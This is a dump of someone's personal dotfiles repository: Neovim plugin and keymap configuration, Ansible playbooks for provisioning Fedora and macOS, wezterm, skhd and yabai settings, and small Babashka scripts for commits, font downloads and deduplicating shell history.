178 |
--------------------------------------------------------------------------------
/nvim/lua/mappings.lua:
--------------------------------------------------------------------------------
1 | return {
2 | setup = function()
3 | local leader = " "
4 |
5 | vim.g.mapleader = leader
6 | vim.g.maplocalleader = leader
7 |
8 | require("impl").map({
9 | [""] = "h",
10 | [""] = "j",
11 | [""] = "k",
12 | [""] = "l",
13 | ["H"] = ":tabprevious",
14 | ["L"] = ":tabnext",
15 | ["c"] = "\"_c", -- blackhole
16 | ["C"] = "\"_C", -- blackhole
17 | ["d"] = "\"_d", -- blackhole
18 | ["D"] = "\"_D", -- blackhole
19 | ["dd"] = "\"_dd", -- blackhole
20 | ["p"] = "\"_dP", -- blackhole
21 | ["dd"] = "dd", -- usual
22 | ["d"] = "d", -- usual
23 | ["D"] = "D", -- usual
24 | [""] = ":noh",
25 | ["gd"] = ":Gitsigns preview_hunk",
26 | ["bf"] = {
27 | action = function()
28 | require("mini.files").open(vim.api.nvim_buf_get_name(0), true)
29 | end,
30 | opts = { desc = "[B]rowse [F]iles" },
31 | },
32 | [""] = {
33 | action = function()
34 | require("snacks").picker.smart({ hidden = true })
35 | end,
36 | opts = { desc = "Find files" },
37 | },
38 | ["s"] = {
39 | action = function()
40 | require("snacks").picker.grep()
41 | end,
42 | opts = { desc = "[S]earch in files" },
43 | },
44 | ["pm"] = {
45 | action = function()
46 | vim.o.relativenumber = not vim.o.relativenumber
47 | end,
48 | opts = { desc = "[P]airing [M]ode" },
49 | },
50 | ["bc"] = {
51 | action = function()
52 | require("mini.bufremove").delete(0, false)
53 | end,
54 | opts = { desc = "[B]uffer [C]lose" },
55 | },
56 | ["/"] = {
57 | action = function()
58 | require("grug-far").open({ transient = true })
59 | end,
60 | opts = { desc = "Search and Replace" },
61 | },
62 | })
63 | end,
64 | }
65 |
--------------------------------------------------------------------------------
/nvim/lua/plugins/lisp.lua:
--------------------------------------------------------------------------------
1 | return {
2 | {
3 | "Olical/conjure",
4 | ft = "clojure",
5 | config = function()
6 | vim.api.nvim_create_autocmd("BufNewFile", {
7 | group = vim.api.nvim_create_augroup("conjure-log-disable-lsp", { clear = true }),
8 | pattern = { "conjure-log-*" },
9 | callback = function(event)
10 | vim.diagnostic.enable(false, { bufnr = event.buf })
11 | end,
12 | desc = "Conjure Log disable LSP diagnostics",
13 | })
14 | end,
15 | },
16 | {
17 | "gpanders/nvim-parinfer",
18 | ft = "clojure",
19 | config = function()
20 | vim.g.parinfer_force_balance = true
21 | end,
22 | },
23 | }
24 |
--------------------------------------------------------------------------------
/nvim/lua/plugins/mini.lua:
--------------------------------------------------------------------------------
1 | return {
2 | "echasnovski/mini.nvim",
3 | event = "BufRead",
4 | lazy = true,
5 | config = function()
6 | require("mini.bufremove").setup()
7 | require("mini.files").setup()
8 | require("mini.icons").setup()
9 | require("mini.trailspace").setup()
10 | end,
11 | }
12 |
--------------------------------------------------------------------------------
/nvim/lua/plugins/statusline.lua:
--------------------------------------------------------------------------------
1 | return {
2 | "nvim-lualine/lualine.nvim",
3 | event = "VeryLazy",
4 | config = function()
5 | local black = "#080808"
6 | local blue = "#80a0ff"
7 | local cyan = "#79dac8"
8 | local grey = "#303030"
9 | local red = "#ff5189"
10 | local violet = "#d183e8"
11 | local white = "#c6c6c6"
12 | local left_sep, right_sep = "", ""
13 |
14 | require("lualine").setup({
15 | options = {
16 | theme = {
17 | normal = {
18 | a = { fg = black, bg = violet },
19 | b = { fg = white, bg = grey },
20 | c = { fg = black, bg = "None" },
21 | },
22 | insert = { a = { fg = black, bg = blue } },
23 | visual = { a = { fg = black, bg = cyan } },
24 | replace = { a = { fg = black, bg = red } },
25 | inactive = {
26 | a = { fg = white, bg = black },
27 | b = { fg = white, bg = black },
28 | c = { fg = black, bg = black },
29 | },
30 | },
31 | component_separators = "|",
32 | section_separators = { left = right_sep, right = left_sep },
33 | },
34 | sections = {
35 | lualine_a = {
36 | { "mode", separator = { left = left_sep }, right_padding = 2 },
37 | },
38 | lualine_b = { { "filename", path = 4 }, "diagnostics" },
39 | lualine_c = {},
40 | lualine_x = {},
41 | lualine_y = { "branch", "filetype", "progress" },
42 | lualine_z = {
43 | { "location", separator = { right = right_sep }, left_padding = 2 },
44 | },
45 | },
46 | inactive_sections = {
47 | lualine_a = { "filename" },
48 | lualine_b = {},
49 | lualine_c = {},
50 | lualine_x = {},
51 | lualine_y = {},
52 | lualine_z = { "location" },
53 | },
54 | tabline = {},
55 | extensions = {},
56 | })
57 | end,
58 | }
59 |
--------------------------------------------------------------------------------
/nvim/lua/plugins/treesitter.lua:
--------------------------------------------------------------------------------
1 | return {
2 | "nvim-treesitter/nvim-treesitter",
3 | build = ":TSUpdate",
4 | cmd = { "TSUpdate", "TSUpdateSync" },
5 | event = "VeryLazy",
6 | config = function()
7 | require("nvim-treesitter.configs").setup({
8 | ensure_installed = {
9 | "bash",
10 | "clojure",
11 | "dockerfile",
12 | "go",
13 | "hcl",
14 | "java",
15 | "json",
16 | "lua",
17 | "markdown",
18 | "markdown_inline",
19 | "ocaml",
20 | "python",
21 | "rust",
22 | "sql",
23 | "terraform",
24 | "yaml",
25 | },
26 | highlight = {
27 | additional_vim_regex_highlighting = false,
28 | enable = true,
29 | },
30 | })
31 | end,
32 | }
33 |
--------------------------------------------------------------------------------
/nvim/lua/plugins/ui.lua:
--------------------------------------------------------------------------------
1 | return {
2 | {
3 | -- colorscheme
4 | "scottmckendry/cyberdream.nvim",
5 | config = function()
6 | local theme = require("cyberdream")
7 |
8 | theme.setup({
9 | cache = true,
10 | transparent = true,
11 | })
12 | theme.load()
13 | end,
14 | },
15 | {
16 | "lewis6991/gitsigns.nvim",
17 | event = "BufRead",
18 | config = true,
19 | },
20 | {
21 | "MeanderingProgrammer/render-markdown.nvim",
22 | config = true,
23 | ft = "markdown",
24 | },
25 | {
26 | "MagicDuck/grug-far.nvim",
27 | config = true,
28 | lazy = true,
29 | },
30 | {
31 | "folke/snacks.nvim",
32 | lazy = true,
33 | opts = {
34 | picker = { enabled = true },
35 |
36 | bigfile = { enabled = false },
37 | dashboard = { enabled = false },
38 | explorer = { enabled = false },
39 | indent = { enabled = false },
40 | input = { enabled = false },
41 | notifier = { enabled = false },
42 | quickfile = { enabled = false },
43 | scope = { enabled = false },
44 | scroll = { enabled = false },
45 | statuscolumn = { enabled = false },
46 | words = { enabled = false },
47 | },
48 | },
49 | }
50 |
--------------------------------------------------------------------------------
/nvim/lua/settings.lua:
--------------------------------------------------------------------------------
1 | return {
2 | setup = function(undo_dir)
3 | local encoding = "utf-8"
4 | local opts = {
5 | autoindent = true,
6 | background = "dark",
7 | backup = false,
8 | clipboard = "unnamedplus",
9 | cmdheight = 1,
10 | completeopt = "menuone,noselect,fuzzy",
11 | cursorline = true,
12 | encoding = encoding,
13 | errorbells = false,
14 | expandtab = true,
15 | fileencoding = encoding,
16 | fileformats = "unix,dos,mac",
17 | hidden = true,
18 | history = 1000,
19 | hlsearch = true,
20 | ignorecase = true,
21 | incsearch = true,
22 | laststatus = 3,
23 | lazyredraw = true,
24 | magic = true,
25 | mat = 2,
26 | mouse = "nvi",
27 | number = true,
28 | relativenumber = true,
29 | ruler = true,
30 | scrolloff = 7,
31 | shiftwidth = 2,
32 | shortmess = "Ic",
33 | showmatch = true,
34 | showmode = false,
35 | signcolumn = "yes:1",
36 | smartindent = true,
37 | smarttab = true,
38 | swapfile = false,
39 | tabstop = 2,
40 | termguicolors = true,
41 | timeoutlen = 500,
42 | undodir = undo_dir,
43 | undofile = true,
44 | updatetime = 100,
45 | visualbell = false,
46 | winborder = "rounded",
47 | wrap = true,
48 | writebackup = false,
49 | }
50 |
51 | for opt, val in pairs(opts) do
52 | vim.o[opt] = val
53 | end
54 |
55 | local disabled_global_opts = {
56 | "loaded_node_provider",
57 | "loaded_perl_provider",
58 | "loaded_python3_provider",
59 | "loaded_ruby_provider",
60 | }
61 |
62 | for _, opt in ipairs(disabled_global_opts) do
63 | vim.g[opt] = 0
64 | end
65 |
66 | vim.diagnostic.config({ virtual_text = true })
67 |
68 | vim.api.nvim_create_autocmd("TextYankPost", {
69 | desc = "highlight yanked region temporarily",
70 | group = vim.api.nvim_create_augroup("lispyclouds-hl-yank", { clear = true }),
71 | callback = function()
72 | vim.highlight.on_yank()
73 | end,
74 | })
75 |
76 | vim.api.nvim_create_autocmd("BufWritePre", {
77 | desc = "clean up trailing whitespace before saving",
78 | group = vim.api.nvim_create_augroup("lispyclouds-clean-ws", { clear = true }),
79 | callback = function()
80 | require("mini.trailspace").trim()
81 | end,
82 | })
83 | end,
84 | }
85 |
--------------------------------------------------------------------------------
/playbooks/common.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: Make symlinks
3 | ansible.builtin.file:
4 | src: "{{ src_dir }}/{{ item }}"
5 | dest: "{{ conf_dir }}/{{ item }}"
6 | state: link
7 | with_list: "{{ symlinks }}"
8 |
--------------------------------------------------------------------------------
/playbooks/fedora.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: Setup Fedora
3 | hosts: localhost
4 | gather_facts: false
5 | vars:
6 | packages:
7 | - "@development-tools"
8 | - ImageMagick
9 | - ShellCheck
10 | - ansible
11 | - awscli2
12 | - bat
13 | - black
14 | - btop
15 | - difftastic
16 | - dnf5
17 | - dnf5-plugins
18 | - evolution
19 | - eza
20 | - fastfetch
21 | - fd-find
22 | - fontconfig-devel
23 | - freetype-devel
24 | - fzf
25 | - gcc-c++
26 | - gnome-tweaks
27 | - gum
28 | - hadolint
29 | - heif-pixbuf-loader
30 | - iosevka-term-fonts
31 | - java-latest-openjdk-devel
32 | - libheif
33 | - libheif-tools
34 | - libstdc++-devel
35 | - libxcb-devel
36 | - neovim
37 | - nodejs
38 | - nodejs-bash-language-server
39 | - npm
40 | - opam
41 | - papirus-icon-theme
42 | - podman-compose
43 | - rlwrap
44 | - terraform
45 | - terraform-ls
46 | - tokei
47 | - v4l-utils
48 | - youtube-dl
49 | - zoxide
50 | - zsh
51 | flatpaks:
52 | - com.github.johnfactotum.Foliate
53 | - com.github.tchx84.Flatseal
54 | - io.github.amit9838.mousam
55 | - io.github.ungoogled_software.ungoogled_chromium
56 | - org.ferdium.Ferdium
57 | - org.localsend.localsend_app
58 | - org.pipewire.Helvum
59 | - org.signal.Signal
60 | - org.videolan.VLC
61 | - org.wezfurlong.wezterm
62 | - us.zoom.Zoom
63 | tasks:
64 | - name: Get Fedora version
65 | shell: rpm -E %fedora
66 | register: fedora_version
67 | - name: Install RPM fusion
68 | become: true
69 | ansible.builtin.dnf5:
70 | name: "https://mirrors.rpmfusion.org/free/fedora/rpmfusion-free-release-{{ fedora_version.stdout }}.noarch.rpm"
71 | state: present
72 | install_weak_deps: no
73 | - name: Install Hashicorp repo
74 | become: true
75 | command: dnf config-manager --add-repo=https://rpm.releases.hashicorp.com/fedora/hashicorp.repo
76 | - name: Add charm repo
77 | become: true
78 | ansible.builtin.yum_repository:
79 | name: Charm
80 | description: RPM repo for Charm
81 | file: charm
82 | baseurl: https://repo.charm.sh/yum/
83 | gpgcheck: 1
84 | gpgkey: https://repo.charm.sh/yum/gpg.key
85 | - name: Enable iosevka copr
86 | become: true
87 | community.general.copr:
88 | state: enabled
89 | name: peterwu/iosevka
90 | - name: Installing packages
91 | become: true
92 | ansible.builtin.dnf5:
93 | name: "{{ packages }}"
94 | state: latest
95 | install_weak_deps: no
96 | register: result
97 | until: result is successful
98 | - name: Installing flatpaks
99 | become: true
100 | flatpak:
101 | name: "{{ flatpaks }}"
102 | state: present
103 | register: result
104 | until: result is successful
105 | - name: Installing npm packages
106 | become: true
107 | npm:
108 | name: "{{ item }}"
109 | state: present
110 | global: yes
111 | register: result
112 | until: result is successful
113 | with_items:
114 | - prettier
115 | - yaml-language-server
116 | - name: Common tasks
117 | include_tasks: "common.yml"
118 | vars:
119 | conf_dir: "{{ lookup('env','HOME') }}/.config"
120 | src_dir: "{{ playbook_dir | dirname }}"
121 | symlinks:
122 | - git
123 | - nvim
124 | - ripgrep
125 | - wezterm
126 |
--------------------------------------------------------------------------------
/playbooks/mac.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: Setup Mac
3 | hosts: localhost
4 | vars:
5 | brews:
6 | - ansible
7 | - awscli
8 | - bash
9 | - bat
10 | - black
11 | - borkdude/brew/babashka
12 | - bottom
13 | - clojure
14 | - clojure-lsp/brew/clojure-lsp-native
15 | - cmatrix
16 | - colima
17 | - cowsay
18 | - curl
19 | - deviceinsight/packages/kafkactl
20 | - difftastic
21 | - docker
22 | - elixir
23 | - exiftool
24 | - eza
25 | - faac
26 | - fd
27 | - ffmpeg
28 | - flex
29 | - fortune
30 | - fzf
31 | - gcc
32 | - ghc
33 | - git
34 | - git-extras
35 | - git-quick-stats
36 | - gnu-sed
37 | - go
38 | - gopls
39 | - gpgme
40 | - gradle
41 | - grep
42 | - gromgit/fuse/ntfs-3g-mac
43 | - gum
44 | - hadolint
45 | - hashicorp/tap/terraform-ls
46 | - haskell-stack
47 | - helm
48 | - httpie
49 | - ipython
50 | - ispell
51 | - jq
52 | - kind
53 | - koekeishiya/formulae/skhd
54 | - koekeishiya/formulae/yabai
55 | - libgit2
56 | - libscrypt
57 | - libuv
58 | - llvm
59 | - lua-language-server
60 | - magic-wormhole
61 | - make
62 | - markdown
63 | - maven
64 | - minikube
65 | - mypy
66 | - neofetch
67 | - neovim
68 | - nmap
69 | - nss
70 | - onefetch
71 | - openssl@3
72 | - p7zip
73 | - packer
74 | - parallel
75 | - planck
76 | - podman
77 | - prettier
78 | - prettyping
79 | - progress
80 | - pyright
81 | - python
82 | - ripgrep
83 | - ruby
84 | - scc
85 | - shellcheck
86 | - sl
87 | - socat
88 | - speedtest-cli
89 | - stylua
90 | - telnet
91 | - tfsec
92 | - thefuck
93 | - tig
94 | - tree
95 | - unar
96 | - watch
97 | - websocat
98 | - wget
99 | - xh
100 | - yarn
101 | - youtube-dl
102 | - yq
103 | - zoxide
104 | - zsh
105 | casks:
106 | - eloston-chromium
107 | - ferdium
108 | - flux
109 | - font-fantasque-sans-mono-nerd-font
110 | - font-jetbrains-mono-nerd-font
111 | - graalvm-ce-java19
112 | - maccy
113 | - macfuse
114 | - qlvideo
115 | - temurin
116 | - vimr
117 | - visualvm
118 | - vlc
119 | - wezterm
120 | - zprint
121 | tasks:
122 | - name: Installing brews
123 | homebrew:
124 | name: "{{ brews }}"
125 | state: present
126 | register: result
127 | until: result is successful
128 | - name: Installing casks
129 | homebrew_cask:
130 | name: "{{ casks }}"
131 | state: present
132 | register: result
133 | until: result is successful
134 | - name: Installing npm packages
135 | npm:
136 | name: "{{ item }}"
137 | state: present
138 | global: yes
139 | register: result
140 | until: result is successful
141 | with_items:
142 | - bash-language-server
143 | - yaml-language-server
144 | - name: Common tasks
145 | include_tasks: "common.yml"
146 | vars:
147 | conf_dir: "{{ lookup('env','HOME') }}/.config"
148 | src_dir: "{{ playbook_dir | dirname }}"
149 | symlinks:
150 | - git
151 | - nvim
152 | - ripgrep
153 | - skhd
154 | - wezterm
155 | - yabai
156 |
--------------------------------------------------------------------------------
/ripgrep/config:
--------------------------------------------------------------------------------
1 | --hidden
2 | --follow
3 | --ignore-case
4 |
5 | --glob=!.clj-kondo/*
6 | --glob=!.cpcache/*
7 | --glob=!.git/*
8 | --glob=!.lsp/*
9 | --glob=!.mypy_cache/*
10 | --glob=!.node_modules/*
11 | --glob=!target/*
12 |
--------------------------------------------------------------------------------
/skhd/skhdrc:
--------------------------------------------------------------------------------
1 | # Navigation
2 | alt - h : yabai -m window --focus west
3 | alt - j : yabai -m window --focus south
4 | alt - k : yabai -m window --focus north
5 | alt - l : yabai -m window --focus east
6 |
7 | # Moving windows
8 | shift + alt - h : yabai -m window --warp west
9 | shift + alt - j : yabai -m window --warp south
10 | shift + alt - k : yabai -m window --warp north
11 | shift + alt - l : yabai -m window --warp east
12 |
13 | # Resize windows
14 | ctrl + alt - h : \
15 | yabai -m window --resize left:-100:0 ; \
16 | yabai -m window --resize right:-100:0
17 |
18 | ctrl + alt - j : \
19 | yabai -m window --resize bottom:0:100 ; \
20 | yabai -m window --resize top:0:100
21 |
22 | ctrl + alt - k : \
23 | yabai -m window --resize top:0:-100 ; \
24 | yabai -m window --resize bottom:0:-100
25 |
26 | ctrl + alt - l : \
27 | yabai -m window --resize right:100:0 ; \
28 | yabai -m window --resize left:100:0
29 |
30 | # Float / Unfloat window
31 | shift + alt - space : yabai -m window --toggle float
32 |
33 | # Make fullscreen
34 | alt - f : yabai -m window --toggle zoom-fullscreen
35 |
--------------------------------------------------------------------------------
/tasks/general/commit.clj:
--------------------------------------------------------------------------------
1 | (ns general.commit
2 | (:require
3 | [babashka.fs :as fs]
4 | [babashka.process :as p]
5 | [bblgum.core :as b]
6 | [clojure.edn :as edn]
7 | [clojure.java.io :as io]
8 | [clojure.string :as str]))
9 |
10 | (import '[java.io PushbackReader])
11 |
12 | (def cache-path (str (fs/expand-home "~/.cache/commit/cache.edn")))
13 |
14 | (defn bail!
15 | [msg]
16 | (binding [*out* *err*]
17 | (println msg))
18 | (System/exit 1))
19 |
20 | (defn read-edn
21 | [path]
22 | (if (fs/exists? path)
23 | (with-open [r (io/reader path)]
24 | (try
25 | (edn/read (PushbackReader/new r))
26 | (catch Throwable _ {})))
27 | {}))
28 |
29 | (defn write-cache
30 | [data]
31 | (fs/create-dirs (fs/expand-home "~/.cache/commit"))
32 | (with-open [w (io/writer cache-path)]
33 | (binding [*print-length* false
34 | *out* w]
35 | (pr data))))
36 |
37 | (defn exec
38 | [cmd]
39 | (-> cmd
40 | (p/shell {:out :string})
41 | (:out)
42 | (str/trim)))
43 |
44 | (defn get-co-authors
45 | []
46 | (let [default {"rahul080327@gmail.com" {:name "Rahul De"}}
47 | conf (read-edn (str (fs/expand-home "~/.config/commit/conf.edn")))
48 | authors (into default (:authors conf))]
49 | (->> (exec "git config --get user.email")
50 | (dissoc authors)
51 | (map (fn [[email {:keys [name]}]]
52 | (format "%s <%s>" name email))))))
53 |
54 | (defn prompt
55 | [{:keys [message default multiline]}]
56 | (let [cmd (if multiline :write :input)
57 | {:keys [status result]} (b/gum {:cmd cmd :opts (cond-> {:placeholder message}
58 | default (assoc :value default))})]
59 | (if (not (zero? status))
60 | (bail! "Error reading input")
61 | (if multiline
62 | (str/join \newline result)
63 | (first result)))))
64 |
65 | (defn choose-from
66 | [message options selected]
67 | (if (empty? options)
68 | (do
69 | (println "No co-authors configured, skipping")
70 | options)
71 | (let [none-value "none"
72 | {:keys [status result]} (b/gum {:cmd :choose
73 | :opts (cond-> {:no-limit true :header message}
74 | (seq selected) (assoc :selected selected))
75 | :args (cons none-value options)})]
76 | (if (not (zero? status))
77 | (bail! "Error in choosing")
78 | (filter #(not= none-value %) result)))))
79 |
80 | (defn pre-checks
81 | []
82 | (when-not (fs/which "gum")
83 | (bail! "Cannot find `gum` on the PATH. Make sure https://github.com/charmbracelet/gum is installed"))
84 | (try
85 | (when (empty? (exec "git status --porcelain"))
86 | (bail! "No changes to commit"))
87 | (catch Throwable _
88 | (bail! "Error running git or not a valid git repo"))))
89 |
90 | (defn make-co-author-msg
91 | [co-authors]
92 | (->> co-authors
93 | (map #(format "Co-authored-by: %s" %))
94 | (str/join \newline)))
95 |
96 | (defn -main
97 | [{:keys [opts]}]
98 | (pre-checks)
99 | (let [{:keys [no-cache]} opts
100 | {:keys [story co-authors]} (if no-cache
101 | {}
102 | (read-edn cache-path))
103 | story (prompt {:message "Story/Feature" :default story})
104 | co-authors (choose-from "Co-author(s)"
105 | (get-co-authors)
106 | co-authors)
107 | commit-message (prompt {:message "Commit message" :multiline true})]
108 | (try
109 | (exec (format "git commit --cleanup=verbatim -m \"[%s] %s\n\n%s\""
110 | story
111 | commit-message
112 | (make-co-author-msg co-authors)))
113 | (when-not no-cache
114 | (write-cache {:story story :co-authors co-authors}))
115 | (catch Throwable ex
116 | (-> ex
117 | (ex-data)
118 | (:out)
119 | (bail!))))))
120 |
121 | (comment
122 | (fs/which "gum")
123 |
124 | (write-cache {:foo "bar"}))
125 |
--------------------------------------------------------------------------------
/tasks/general/linux.clj:
--------------------------------------------------------------------------------
1 | (ns general.linux
2 | (:require
3 | [babashka.cli :as cli]
4 | [babashka.fs :as fs]
5 | [babashka.http-client :as http]
6 | [babashka.process :as p]
7 | [cheshire.core :as json]
8 | [clojure.java.io :as io]
9 | [clojure.string :as str])
10 | (:import
11 | [java.util.concurrent ExecutorService Executors]))
12 |
13 | (def downloads
14 | {:nerd-fonts {:repo "ryanoasis/nerd-fonts"
15 | :location (fs/expand-home "~/.local/share/fonts/NerdFonts")
16 | :extension ".tar.xz"}
17 | :themes {:repo "catppuccin/gtk"
18 | :location (fs/expand-home "~/.themes")
19 | :extension ".zip"}})
20 |
21 | (defn get-assets
22 | [repo]
23 | (-> (http/get (format "https://api.github.com/repos/%s/releases/latest" repo)
24 | {:as :stream})
25 | :body
26 | io/reader
27 | (json/parse-stream true)
28 | :assets))
29 |
30 | (defn download
31 | [repo location item extension]
32 | (let [download-link (->> (get-assets repo)
33 | (filter #(= (str item extension) (:name %)))
34 | first
35 | :browser_download_url)
36 | archive (str (fs/create-temp-file))
37 | _ (fs/delete-on-exit archive)
38 | download-stream (:body (http/get download-link {:as :stream}))]
39 | (println "Downloading" item "from" download-link)
40 | (io/copy download-stream (io/file archive))
41 | (fs/create-dirs location)
42 | (println "Extracting" item)
43 | (if (= extension ".zip")
44 | (fs/unzip archive location {:replace-existing true})
45 | (p/shell "tar" "-xf" archive "-C" location))
46 | (println item "installed")))
47 |
48 | (defn download-all
49 | [repo location items extension]
50 | (let [executor (Executors/newVirtualThreadPerTaskExecutor)]
51 | (->> items
52 | (map #(fn [] (download repo location % extension)))
53 | (ExecutorService/.invokeAll executor)
54 | (run! deref))))
55 |
56 | (defn ls
57 | [repo]
58 | (->> (get-assets repo)
59 | (eduction (map :name)
60 | (map #(str/replace % #"(.tar.xz)|(.zip)" ""))
61 | (distinct))
62 | (run! println)))
63 |
64 | (defn get-download-meta
65 | [args]
66 | (-> args
67 | first
68 | keyword
69 | downloads))
70 |
71 | (defn dispatch-download
72 | [{:keys [args]}]
73 | (let [{:keys [repo location extension]} (get-download-meta args)]
74 | (download-all repo location (rest args) extension)))
75 |
76 | (defn dispatch-ls
77 | [{:keys [args]}]
78 | (let [{:keys [repo]} (get-download-meta args)]
79 | (ls repo)))
80 |
81 | (defn -main
82 | [opts]
83 | (let [table [{:cmds ["download"] :fn dispatch-download}
84 | {:cmds ["ls"] :fn dispatch-ls}]]
85 | (cli/dispatch table opts)))
86 |
87 | (comment
88 | (download "ryanoasis/nerd-fonts"
89 | (fs/expand-home "~/.local/share/fonts/NerdFonts")
90 | "Iosevka"
91 | ".tar.xz")
92 |
93 | (ls "ryanoasis/nerd-fonts")
94 |
95 | (ls "catppuccin/gtk")
96 |
97 | (get-assets "catppuccin/gtk")
98 |
99 | (get-assets "ryanoasis/nerd-fonts"))
100 |
--------------------------------------------------------------------------------
/tasks/general/zsh.clj:
--------------------------------------------------------------------------------
1 | (ns general.zsh
2 | (:require
3 | [clojure.java.io :as io]
4 | [clojure.string :as s]))
5 |
6 | (defn line->cmd
7 | [line]
8 | ^String
9 | (some->> (s/index-of line \;)
10 | inc
11 | (subs line)))
12 |
13 | (defn -main
14 | []
15 | (with-open [rdr (io/reader (str (System/getProperty "user.home") "/.zsh_history"))]
16 | (let [lines (loop [[line & lines] (line-seq rdr)
17 | uniq-cmds (transient #{})
18 | uniq-lines (transient [])]
19 | #_(println (format "Remaining: %d Unique: %d"
20 | (count lines)
21 | (count uniq-cmds)))
22 | (if (nil? line)
23 | (persistent! uniq-lines)
24 | (let [cmd (line->cmd line)]
25 | (if (uniq-cmds cmd)
26 | (recur lines uniq-cmds uniq-lines)
27 | (recur lines (conj! uniq-cmds cmd) (conj! uniq-lines line))))))]
28 | (doseq [line lines]
29 | (println line)))))
30 |
--------------------------------------------------------------------------------
/wezterm/wezterm.lua:
--------------------------------------------------------------------------------
1 | local wezterm = require("wezterm")
2 | local act = wezterm.action
3 | local mods = "CTRL|SHIFT"
4 | local keymap = {
5 | {
6 | key = "Backspace",
7 | mods = mods,
8 | action = act.ClearScrollback("ScrollbackAndViewport"),
9 | },
10 | {
11 | key = "E",
12 | mods = mods,
13 | action = act.CharSelect({ copy_on_select = false }),
14 | },
15 | {
16 | key = "S",
17 | mods = mods,
18 | action = act.SplitHorizontal({ domain = "CurrentPaneDomain" }),
19 | },
20 | {
21 | key = "s",
22 | mods = "CTRL",
23 | action = act.SplitVertical({ domain = "CurrentPaneDomain" }),
24 | },
25 | {
26 | key = "W",
27 | mods = mods,
28 | action = act.CloseCurrentPane({ confirm = false }),
29 | },
30 | {
31 | key = "Home",
32 | mods = mods,
33 | action = "ScrollToTop",
34 | },
35 | {
36 | key = "H",
37 | mods = mods,
38 | action = act.ActivatePaneDirection("Left"),
39 | },
40 | {
41 | key = "L",
42 | mods = mods,
43 | action = act.ActivatePaneDirection("Right"),
44 | },
45 | {
46 | key = "K",
47 | mods = mods,
48 | action = act.ActivatePaneDirection("Up"),
49 | },
50 | {
51 | key = "J",
52 | mods = mods,
53 | action = act.ActivatePaneDirection("Down"),
54 | },
55 | {
56 | key = "D",
57 | mods = mods,
58 | action = act.ShowDebugOverlay,
59 | },
60 | {
61 | key = "F",
62 | mods = mods,
63 | action = act.Search({ CaseInSensitiveString = "" }),
64 | },
65 | {
66 | key = "Enter",
67 | mods = mods,
68 | action = act.TogglePaneZoomState,
69 | },
70 | }
71 |
72 | return {
73 | colors = { -- https://github.com/scottmckendry/cyberdream.nvim/tree/main/extras/wezterm
74 | foreground = "#ffffff",
75 | background = "#16181a",
76 |
77 | cursor_bg = "#ffffff",
78 | cursor_fg = "#16181a",
79 | cursor_border = "#ffffff",
80 |
81 | selection_fg = "#ffffff",
82 | selection_bg = "#3c4048",
83 |
84 | scrollbar_thumb = "#16181a",
85 | split = "#16181a",
86 |
87 | ansi = { "#16181a", "#ff6e5e", "#5eff6c", "#f1ff5e", "#5ea1ff", "#bd5eff", "#5ef1ff", "#ffffff" },
88 | brights = { "#3c4048", "#ff6e5e", "#5eff6c", "#f1ff5e", "#5ea1ff", "#bd5eff", "#5ef1ff", "#ffffff" },
89 | indexed = { [16] = "#ffbd5e", [17] = "#ff6e5e" },
90 | },
91 | enable_wayland = true,
92 | font = wezterm.font_with_fallback({
93 | { family = "Iosevka Term", weight = "Bold" },
94 | "Symbols Nerd Font Mono",
95 | }),
96 | font_size = 11.0,
97 | force_reverse_video_cursor = true,
98 | freetype_load_target = "HorizontalLcd",
99 | hide_tab_bar_if_only_one_tab = true,
100 | keys = keymap,
101 | tab_bar_at_bottom = true,
102 | use_fancy_tab_bar = false,
103 | window_background_opacity = 0.95,
104 | }
105 |
--------------------------------------------------------------------------------
/yabai/yabairc:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env sh
2 |
3 | # global settings
4 | # focus window that your mouse hovers on (disabled due to right click bugs)
5 | yabai -m config focus_follows_mouse off
6 | # move mouse to focused window
7 | yabai -m config mouse_follows_focus on
8 | yabai -m config window_placement second_child
9 | # floating windows always stay on top
10 | yabai -m config window_topmost on
11 | # enable borders
12 | yabai -m config window_border on
13 | # no clue what this is
14 | yabai -m config insert_feedback_color 0xffd75f5f
15 | yabai -m config split_ratio 0.50
16 | # don't automatically rebalance windows
17 | yabai -m config auto_balance off
18 | # swap windows if moved with mouse
19 | yabai -m config mouse_action1 move
20 | # resize windows if resized with mouse
21 | yabai -m config mouse_action2 resize
22 | yabai -m config mouse_drop_action swap
23 |
24 | # general space settings
25 | yabai -m config layout bsp
26 | yabai -m config top_padding 2
27 | yabai -m config bottom_padding 2
28 | yabai -m config left_padding 2
29 | yabai -m config right_padding 2
30 | yabai -m config window_gap 2
31 |
32 | # SIP Required
33 | # prevent border from being under the active window
34 | yabai -m config active_window_border_topmost on
35 | yabai -m config window_shadow on
36 | yabai -m config window_opacity off
37 | yabai -m config window_border_width 3
38 | yabai -m config active_window_border_color 0xffff3050
39 | yabai -m config normal_window_border_color 0xffaaaaaa
40 |
--------------------------------------------------------------------------------